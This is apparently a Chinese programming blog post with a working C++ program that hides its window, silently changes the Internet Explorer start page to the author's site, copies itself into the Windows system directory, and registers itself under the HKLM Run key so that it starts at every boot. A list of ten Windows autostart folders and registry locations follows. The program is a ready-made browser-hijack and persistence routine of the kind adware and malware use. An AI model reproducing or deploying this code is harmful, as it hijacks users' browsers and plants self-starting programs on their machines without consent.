`

通过注册表修改IE主页、自复制和开机启动

    博客分类:
  • VC
阅读更多
// AutoRun.cpp : Defines the entry point for the console application.
//

#include "stdafx.h"
#include <Windows.h>
#include <stdio.h>

#pragma comment( linker, "/subsystem:windows /entry:mainCRTStartup" )

//用于修改字符串类型键值
void CreateStringReg(::HKEY hRoot, char* szSubKey, char* valueName, char* data) {
	HKEY hKey;
	//打开注册表键,不存在则创建它
	long lRet = RegCreateKeyEx(hRoot, szSubKey, 0, NULL, REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS, NULL, &hKey, NULL);
	if(lRet != ERROR_SUCCESS) {
		printf("error no RegCreateKeyEx %s\n", szSubKey);
		return;
	}

	//修改注册表简直,没有则创建它
	lRet = RegSetValueEx(hKey, valueName, 0, REG_SZ, (BYTE*)data, strlen(data));
	if(lRet != ERROR_SUCCESS) {
		printf("error no RegSetValueEx %s\n", valueName);
		return;
	}

	RegCloseKey(hKey);
}

//用于修改数字类型键值
void CreateDWORDReg(HKEY hRoot, char* szSubKey, char* valueName, DWORD data) {
	HKEY hKey;
	//打开注册表键,没有则创建它
	long lRet = RegCreateKeyEx(hRoot, szSubKey, 0, NULL, REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS, NULL, &hKey, NULL);
	if(lRet != ERROR_SUCCESS) {
		printf("error no RegCreateKeyEx %s \n", szSubKey);
		return;
	}
	DWORD dwSize = sizeof(DWORD);
	//修改注册表键值,没有则创建他
	lRet = RegSetValueEx(hKey, valueName, 0, REG_DWORD, (BYTE*)&data, dwSize);
	if(lRet != ERROR_SUCCESS) {
		printf("error no RegSetValueEx %s \n", valueName);
		return;
	}

	RegCloseKey(hKey);
}


//修改IE首页
void modifyIEStartPage() {
	//要修改成的网址
	char startPage[255] = "http://pengranxiang.iteye.com/";
	//调用修改字符串类型键值的函数
	CreateStringReg(HKEY_CURRENT_USER, "Software\\Microsoft\\Internet Explorer\\Main", "Start Page", startPage);
}

//程序自复制 到系统目录
void copyItself() {
	char modulePath[256];
	char sysPath[256];
	//取得程序名字
	GetModuleFileName(NULL, modulePath, 256);
	//取得系统根目录
	GetSystemDirectory(sysPath, 256);

	int ret = CopyFile(modulePath, strcat(sysPath, "\\AutoRun.exe"), TRUE);
	if(ret) {
		printf("%s has been copyed to sys dir %s \n", modulePath, sysPath);
	} else {
		printf("copy file error\n");
	}
}


int main(int argc, char* argv[])
{
	char regName[] = "Software\\Microsoft\\Windows\\CurrentVersion\\Run";
	char keyName[] = "AutoRun";
	char keyValue[] = "%systemroot%\\AutoRun.exe";
	//如果%systemroot%下有AutoRun.exe这个文件,那么系统启动时就自行运行
	CreateStringReg(HKEY_LOCAL_MACHINE, regName, keyName, keyValue);
	//复制自己到%systemroot%下面,名字AutoRun.exe
	copyItself();
	return 0;
}

 

系统自启动位置:两个文件夹和八个注册表位置

一、当前用户专有的启动文件夹

  这是许多应用软件自动启动的常用位置,Windows自动启动放入该文件夹的所有快捷方式。用户启动文件夹一般在:\Documents and Settings\<用户名字>\“开始”菜单\程序\启动,其中“<用户名字>”是当前登录的用户帐户名称。

 

二、对所有用户有效的启动文件夹

  这是寻找自动启动程序的第二个重要位置,不管用户用什么身份登录系统,放入该文件夹的快捷方式总是自动启动——这是它与用户专有的启动文件夹的区别所 在。该文件夹一般在:\Documents and Settings\All Users\“开始”菜单\程序\启动。

 

三、Load注册键

  介绍该注册键的资料不多,实际上它也能够自动启动程序。位置:HKEY_CURRENT_USER\Software\Microsoft\WindowsNT\CurrentVersion\Windows\load。

 

四、Userinit注册键


位置:

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\Winlogon\Userinit。 这里也能够使系统启动时自动初始化程序。通常该注册键下面有一个userinit.exe,如图一,但这个键允许指定用逗号分隔的多个程序,例如 “userinit.exe,OSA.exe”(不含引号)。

 

五、Explorer\Run注册键

  和load、Userinit不同,Explorer\Run键在HKEY_CURRENT_USER和HKEY_LOCAL_MACHINE下都 有,具体位置 是:

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run,

和 HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run。

 

六、RunServicesOnce注册键

  RunServicesOnce注册键用来启动服务程序,启动时间在用户登录之前,而且先于其他通过注册键启动的程序。 RunServicesOnce注册键的位置 是:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce, 和 HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunServicesOnce。

 

七、RunServices注册键

  RunServices注册键指定的程序紧接RunServicesOnce指定的程序之后运行,但两者都在用户登录之前。RunServices的 位置 是:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServices, 和 HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunServices。

 

八、RunOnce\Setup注册键

  RunOnce\Setup指定了用户登录之后运行的程序,它的位置 是:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce\Setup, 和 HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\Setup。

 

九、RunOnce注册键

  安装程序通常用RunOnce键自动运行程序,它的位置在 HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce

和 HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce。

 

HKEY_LOCAL_MACHINE下面的RunOnce键会在用户登录之后立即运行程序,运行时机在其他Run键指定的程序之前。 HKEY_CURRENT_USER下面的RunOnce键在操作系统处理其他Run键以及“启动”文件夹的内容之后运行。

如果是XP,你还需要检查一下 HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnceEx。

 

十、Run注册键

  Run是自动运行程序最常用的注册键,位置 在:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run,

和 HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run。 HKEY_CURRENT_USER下面的Run键紧接HKEY_LOCAL_MACHINE下面的Run键运行,但两者都在处理“启动”文件夹之前。

 

 

分享到:
评论

相关推荐

    windows xp注册表优化

    包括以下注册表优化内容 EXE关联文件修复.reg xp网速提升 ADSL.reg 不加载多余的DLL文件.reg 不在桌面上显示系统版本....(点右键)以编辑方式打开可以更改IE背景.reg (点右键)以编辑方式打开可以更改登陆背景.reg

    创天无忧工具合集 V1.3.rar

    3.IE修复 此功能用于删除IE插件,恢复和修改默认主页,禁用和启用修改注册表,禁止修改IE的功能。 当您的系统安装一段时间后,会有一大堆插件在IE工具栏罗列,占据屏幕空间,或是IE首页被恶评软件自动修改,不能...

    网管教程 从入门到精通软件篇.txt

     bootcfg 命令启动配置和故障恢复(对于大多数计算机,即 boot.ini 文件)。  含有下列参数的 bootcfg 命令仅在使用故障恢复控制台时才可用。可在命令提示符下使用带有不同参数的 bootcfg 命令。  用法:  ...

    人人都应该掌握的一些电脑操作技巧

    有些时候,XP会提示你某某程序停止响应,很烦,通过修改注册表我们可以让其自行关闭,在HKEY_CURRENT_USER-----Control Panel----Desktop中将字符健值是AutoEndTasks的数值数据更改为1,重新注销或启动即可。...

    电脑高手必备 Windows系统35招实用技巧

    有,只有几十KB,把这个文件复制到软盘下,启动系统后直接运行这个程序( 可以不加参数,该程序会自动根据内存大小分配适当的内存空间作为高速缓 存),再安装Windows XP即可。另外提醒大家,这个程序在安装完...

    C#程序开发范例宝典(第2版).part08

    精选570个典型范例,全面覆盖实用和热点技术,涉及面广,实用性强源于实际项目开发,帮助读者短时间掌握更多实用技术,提高编程水平范例经过精心编排,重点、难点突出,易学易懂书后附录提供快速索引,即查、即学、...

    大量批处理实用程序例程

    查看开机自启动程序的完整路径.cmd 查看电脑硬件信息.bat 检测光驱中是否有盘.cmd 添加环境变量.cmd 解析ipconfig命令输出通用函数.cmd 调用系统气泡.cmd 通过inf重启电脑.cmd C盘转换为NTFS格式.cmd dos下重启.bat ...

    C#.net_经典编程例子400个

    256 实例175 清空回收站 257 6.2 查找文件 258 实例176 搜索文件 259 实例177 检查文件是否存在 260 实例178 提取指定文件夹目录 261 6.3 修改文件 261 实例179 更改文件名称 ...

    delphi 开发经验技巧宝典源码

    0058 String类型和Pchar类型的用法和区别 36 0059 如何捕获异常 37 0060 TStrings与TStringList的使用 37 0061 如何实现窗体文件转换 37 第3章 程序算法 39 3.1 计算类算法 40 0062 如何计算1~100的...

    计算机应用技术(实用手册)

    此项目可选择硬盘开机的优先级,按下的按键,你可以进入它的子选单,它会显示出已侦测到可以让您选择开机顺序的硬盘,以用来启动系统。当然,这个选项要在你安装了两块或者两块以上的系统才能选择! HDD Change ...

    delphi 开发经验技巧宝典源码06

    0058 String类型和Pchar类型的用法和区别 36 0059 如何捕获异常 37 0060 TStrings与TStringList的使用 37 0061 如何实现窗体文件转换 37 第3章 程序算法 39 3.1 计算类算法 40 0062 如何计算1~100的...

    Visual C++程序开发范例宝典(光盘) 第四部分

    实例197 设置IE的默认主页 实例198 清空上网历史记录 7.3 文件控制 实例199 如何建立文件关联 实例200 控制光驱的自动运行功能 7.4 游戏设置 实例201 设置“蜘蛛纸牌”游戏 实例202 修改“扫雷”游戏的设置 ...

    Visual C++程序开发范例宝典(光盘) 第八部分

    实例197 设置IE的默认主页 实例198 清空上网历史记录 7.3 文件控制 实例199 如何建立文件关联 实例200 控制光驱的自动运行功能 7.4 游戏设置 实例201 设置“蜘蛛纸牌”游戏 实例202 修改“扫雷”游戏的设置 ...

    Windows Server 2008 活动目录视频课程csdn.txt

    4-10组策略禁止更改服务器和IE首页10:03 4-11使用组策略禁止IE下载文件07:18 4-12使用组策略为用户添加受信任的网站04:13 4-13禁止用户运行cmd和regedit04:13 4-14基于程序名称控制程序是否能够运行03:21 4-15组策略...

Global site tag (gtag.js) - Google Analytics